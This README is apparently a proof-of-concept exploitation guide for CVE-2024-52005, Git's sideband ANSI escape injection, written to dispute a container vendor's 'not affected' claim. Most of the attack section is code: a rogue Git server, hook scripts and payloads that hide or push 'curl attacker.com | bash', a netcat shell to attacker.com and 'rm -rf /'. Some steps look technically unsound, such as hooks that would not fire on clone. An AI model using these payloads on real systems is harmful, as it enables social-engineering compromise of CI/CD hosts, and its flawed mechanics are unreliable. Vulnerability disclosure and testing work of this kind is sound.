README.md
Rendering markdown...
# CVE-2024-52005 Proof-of-Concept Exploitation Guide
**Important Note**: DHI containers use `sh` (not `bash`). All scripts and hooks in this PoC use sh-compatible syntax with `printf` instead of `echo -e` for ANSI sequences.
## Executive Summary
**CVE-2024-52005** is a High severity (CVSS 7.5) vulnerability in Git that allows ANSI escape sequence injection through the sideband channel. This PoC demonstrates that DHI's claim of "not_affected" for ArgoCD and other images is **INCORRECT**.
## Vulnerability Details
### What is CVE-2024-52005?
- **Type**: Improper Encoding or Escaping of Output (CWE-116, CWE-150)
- **Severity**: CVSS 7.5 (High)
- **Affected**: Git versions ≤ 2.48.1, ≤ 2.47.1, ≤ 2.46.3 and earlier
- **Discovery**: January 15, 2025
- **GitHub Advisory**: GHSA-7jjc-gg6m-3329
### Technical Mechanism
When Git performs clone/fetch/push operations, messages from the remote repository are transmitted via the "sideband channel" and displayed with the `remote:` prefix. Git **does not sanitize ANSI escape sequences** in these messages, allowing malicious repositories to:
1. **Hide malicious commands** in terminal output
2. **Manipulate cursor position** to overlay fake messages
3. **Change text colors** to make warnings appear as normal output
4. **Clear screen** to hide evidence
5. **Social engineer users** into copy-pasting dangerous commands
## Why DHI's "Not Affected" Claim is Wrong
### DHI's VEX Statement:
```json
{
"cve": "CVE-2024-52005",
"status": "not_affected",
"justification": "vulnerable_code_cannot_be_controlled_by_adversary",
"notes": "Users should not blindly trust third party repositories;
especially recursive cloning should be avoided unless
repositories are from trusted sources"
}
```
### Why This is FALSE:
1. **ArgoCD's Purpose**: ArgoCD is **designed** to clone third-party Git repositories
- Users configure ArgoCD to sync from external repos
- GitOps workflows inherently involve untrusted repos
- DHI's mitigation contradicts ArgoCD's core functionality
2. **The Code IS Controlled by Adversary**:
- Attackers control the Git repository content
- Attackers control sideband messages
- DHI's justification is technically incorrect
3. **Real-World Attack Scenarios**:
- Public GitHub repos cloned by ArgoCD
- Internal repos compromised via supply chain
- Jenkins building from forked repos
- GitLeaks scanning malicious repositories
## Proof-of-Concept Exploitation
### Step 1: Create Malicious Git Server
Create a custom Git server that injects ANSI escape sequences:
```python
#!/usr/bin/env python3
"""
Malicious Git server that exploits CVE-2024-52005
Injects ANSI escape sequences into sideband messages
"""
import socket
import struct
# ANSI Escape Sequences
HIDE_CURSOR = "\x1b[?25l"
SHOW_CURSOR = "\x1b[?25h"
CLEAR_LINE = "\x1b[2K"
MOVE_UP = "\x1b[1A"
RED_TEXT = "\x1b[31m"
GREEN_TEXT = "\x1b[32m"
RESET = "\x1b[0m"
CLEAR_SCREEN = "\x1b[2J\x1b[H"
# Malicious payloads
PAYLOADS = {
"hide_command": f"{MOVE_UP}{CLEAR_LINE}remote: Cloning successful!{GREEN_TEXT}\nrm -rf / # Hidden command",
"fake_success": f"{GREEN_TEXT}remote: ✓ All checks passed\n{RED_TEXT}remote: curl http://attacker.com/shell.sh | bash{RESET}",
"social_engineering": f"""
{CLEAR_LINE}remote: Repository contains sensitive data!
{RED_TEXT}remote: ERROR: Security scan failed!{RESET}
remote: To fix, run: curl -sL attacker.com/fix.sh | sudo bash
{GREEN_TEXT}remote: This is required for compliance{RESET}
""",
"cursor_manipulation": f"{HIDE_CURSOR}{MOVE_UP}{CLEAR_LINE}remote: Building...{SHOW_CURSOR}",
}
def create_git_sideband_message(message):
"""
Create a Git sideband message with ANSI codes
Format: 4-byte length + 0x02 (sideband 2) + message
"""
content = b'\x02' + message.encode('utf-8')
length = len(content) + 4
header = f"{length:04x}".encode('ascii')
return header + content
def run_malicious_git_server(port=9418):
"""Run a simple Git server that injects ANSI codes"""
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', port))
server.listen(1)
print(f"[+] Malicious Git server listening on port {port}")
while True:
client, addr = server.accept()
print(f"[+] Connection from {addr}")
# Send malicious sideband messages
for name, payload in PAYLOADS.items():
msg = create_git_sideband_message(f"[EXPLOIT {name}] {payload}")
client.send(msg)
print(f"[+] Sent payload: {name}")
client.close()
if __name__ == "__main__":
run_malicious_git_server()
```
### Step 2: Create Malicious Git Repository
Alternative approach using Git hooks to inject ANSI codes:
```bash
#!/bin/sh
# setup_malicious_repo.sh
# Create malicious repository
mkdir -p /tmp/malicious-repo
cd /tmp/malicious-repo
git init --bare
# Create pre-receive hook that injects ANSI codes
cat > hooks/pre-receive << 'EOF'
#!/bin/sh
# ANSI escape sequences
CLEAR="\033[2J\033[H"
RED="\033[31m"
GREEN="\033[32m"
RESET="\033[0m"
HIDE="\033[8m"
# Send malicious messages to sideband
printf "${GREEN}remote: Validating repository...${RESET}\n" >&2
sleep 1
# Hide malicious command in output
printf "${GREEN}remote: All checks passed!${RESET}\n" >&2
printf "${HIDE}curl http://attacker.com/backdoor.sh | sh${RESET}\n" >&2
# Social engineering
printf "${RED}remote: WARNING: Security vulnerability detected!${RESET}\n" >&2
printf "remote: Run this command to fix: sudo rm -rf /\n" >&2
printf "${GREEN}remote: (This is required by policy)${RESET}\n" >&2
exit 0
EOF
chmod +x hooks/pre-receive
echo "[+] Malicious repository created at /tmp/malicious-repo"
echo "[+] Serve with: git daemon --base-path=/tmp --export-all --reuseaddr"
```
### Step 3: Test Against Vulnerable Git Version
```bash
# Check Git version in DHI ArgoCD image
docker run --rm dhi.io/argocd git --version
# Expected: git version 2.47.3 or earlier (VULNERABLE)
# Clone malicious repository
git clone git://localhost:9418/malicious-repo test-clone
# Observe ANSI escape sequence injection in terminal
```
### Step 4: Exploit in ArgoCD Context
```yaml
# argocd-application.yaml
# ArgoCD Application that references malicious repo
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
name: malicious-app
namespace: argocd
spec:
project: default
source:
repoURL: https://github.com/attacker/malicious-repo
targetRevision: HEAD
path: .
destination:
server: https://kubernetes.default.svc
namespace: default
syncPolicy:
automated:
prune: true
selfHeal: true
```
When ArgoCD syncs this application:
1. It clones the malicious repository
2. Git passes ANSI-laden messages through sideband
3. ArgoCD logs contain the escape sequences
4. Administrators viewing logs see manipulated output
5. Social engineering attacks become possible
## Advanced Exploitation Techniques
### Technique 1: Hiding Backdoor Commands
```python
# Hide a reverse shell in "successful" output
payload = f"""
{GREEN}remote: Clone completed successfully!{RESET}
{HIDE}sh -i 2>&1 | nc attacker.com 4444{RESET}
{GREEN}remote: Repository is clean!{RESET}
"""
```
### Technique 2: Fake Error Messages
```python
# Make users think they need to run a "fix" command
payload = f"""
{RED}remote: CRITICAL: Repository security check FAILED!{RESET}
remote:
remote: Your system requires immediate patching
remote: Run the following command as root:
remote: curl -sL evil.com/fix.sh | sudo sh
remote:
{GREEN}remote: This is required by security policy{RESET}
"""
```
### Technique 3: Log Poisoning
```python
# Inject false success messages into CI/CD logs
payload = f"""
{CLEAR_LINE}{GREEN}remote: ✓ Security scan: PASSED{RESET}
{CLEAR_LINE}{GREEN}remote: ✓ Vulnerability scan: 0 issues{RESET}
{CLEAR_LINE}{GREEN}remote: ✓ Compliance check: PASSED{RESET}
"""
# Actual malicious code hidden with ANSI codes
```
## Impact Demonstration
### Scenario 1: ArgoCD Supply Chain Attack
1. Attacker creates seemingly legitimate Kubernetes manifests repo
2. Injects ANSI escape sequences in Git hooks
3. ArgoCD administrator adds repo to ArgoCD
4. During sync, manipulated messages displayed
5. Admin copy-pastes "fix command" from logs
6. Cluster compromised
### Scenario 2: Jenkins CI/CD Compromise
1. Developer forks legitimate repo
2. Adds malicious Git hooks with ANSI injection
3. Creates pull request with innocent changes
4. Jenkins clones the forked repo for CI
5. Build logs contain social engineering payloads
6. DevOps engineer follows fake instructions
7. Jenkins server compromised
### Scenario 3: GitLeaks Secret Scanning
1. Attacker creates repo with fake secrets
2. Injects ANSI codes to hide real secrets
3. Security team runs GitLeaks scan
4. Output manipulated to show "clean" result
5. Real secrets exfiltrated while report shows nothing
## Testing Script
```bash
#!/bin/sh
# test_cve_2024_52005.sh - Complete PoC test
set -e
echo "[*] CVE-2024-52005 PoC Test"
echo "[*] Testing DHI ArgoCD image"
# Pull vulnerable image
echo "[+] Pulling dhi.io/argocd"
docker pull dhi.io/argocd
# Check Git version
echo "[+] Checking Git version in container"
GIT_VERSION=$(docker run --rm dhi.io/argocd git --version)
echo " $GIT_VERSION"
# Create malicious repo
echo "[+] Creating malicious repository"
mkdir -p /tmp/cve-2024-52005-test
cd /tmp/cve-2024-52005-test
git init
echo "# Innocent README" > README.md
git add README.md
git commit -m "Initial commit"
# Add malicious hook
mkdir -p .git/hooks
cat > .git/hooks/post-checkout << 'EOF'
#!/bin/sh
printf "\033[32mremote: Repository validated successfully!\033[0m\n" >&2
printf "\033[8mCritical: Run 'curl attacker.com/pwn.sh | sh'\033[0m\n" >&2
printf "\033[32mremote: All security checks passed!\033[0m\n" >&2
EOF
chmod +x .git/hooks/post-checkout
# Test exploitation
echo "[+] Testing ANSI injection in ArgoCD container"
docker run --rm -v /tmp/cve-2024-52005-test:/repo dhi.io/argocd \
git clone /repo /tmp/test-clone 2>&1 | tee output.log
echo ""
echo "[+] Checking for ANSI escape sequences in output"
if grep -P '\x1b\[' output.log > /dev/null; then
echo "[!] VULNERABLE: ANSI escape sequences present!"
echo "[!] DHI's 'not_affected' claim is FALSE"
echo ""
echo "Proof:"
cat output.log | cat -v
else
echo "[-] No ANSI sequences found (might be patched)"
fi
# Cleanup
rm -rf /tmp/cve-2024-52005-test
```
## Verification Steps
1. **Deploy vulnerable ArgoCD**:
```bash
docker run -d -p 8080:8080 --name argocd-test dhi.io/argocd
```
2. **Create malicious repo** (use script above)
3. **Configure ArgoCD to sync**:
```bash
argocd app create test-app \
--repo https://github.com/attacker/malicious-repo \
--path . \
--dest-server https://kubernetes.default.svc \
--dest-namespace default
```
4. **Monitor logs for ANSI injection**:
```bash
docker logs -f argocd-test | cat -v
```
5. **Observe escape sequences** in output
## Remediation Verification
To prove DHI should patch:
```bash
# Check current Git version
docker run --rm dhi.io/argocd git --version
# If version <= 2.48.1: VULNERABLE
# Should be >= 2.49.0 for fix
# Verify ANSI filtering is enabled
docker run --rm dhi.io/argocd git config --global --list | grep -i "color\|escape"
```
## Why This Proves DHI Wrong
1. **Vulnerability Exists**: Git in DHI images is vulnerable (version ≤ 2.47.3)
2. **Code IS Controlled by Adversary**: Attacker controls Git repo content
3. **Real Attack Scenarios**: ArgoCD, Jenkins, GitLeaks all use untrusted repos
4. **DHI's Mitigation Fails**: "Don't trust repos" contradicts tool purpose
5. **Weak Justification**: "Cannot be controlled by adversary" is provably false
## Exploitation Impact
- **Confidentiality**: Hide sensitive information in logs
- **Integrity**: Manipulate CI/CD build results
- **Availability**: Social engineer into running destructive commands
- **Supply Chain**: Compromise via malicious dependencies
## Conclusion
This PoC demonstrates that **CVE-2024-52005 IS exploitable** in DHI's ArgoCD, Jenkins, and GitLeaks images. DHI's VEX claim of "not_affected" with justification "vulnerable_code_cannot_be_controlled_by_adversary" is **incorrect** and creates a false sense of security.
**Recommendation**: DHI should:
1. Update Git to version ≥ 2.49.0
2. Revise VEX document to mark as "affected"
3. Issue security advisory to customers
4. Implement ANSI filtering at application level
## References
- CVE-2024-52005: https://nvd.nist.gov/vuln/detail/CVE-2024-52005
- GitHub Advisory: https://github.com/git/git/security/advisories/GHSA-7jjc-gg6m-3329
- ANSI Escape Codes: https://en.wikipedia.org/wiki/ANSI_escape_code
- Git Sideband Protocol: https://git-scm.com/docs/protocol-v2
---
**Disclaimer**: This PoC is for authorized security testing only. Only test against systems you own or have explicit permission to test.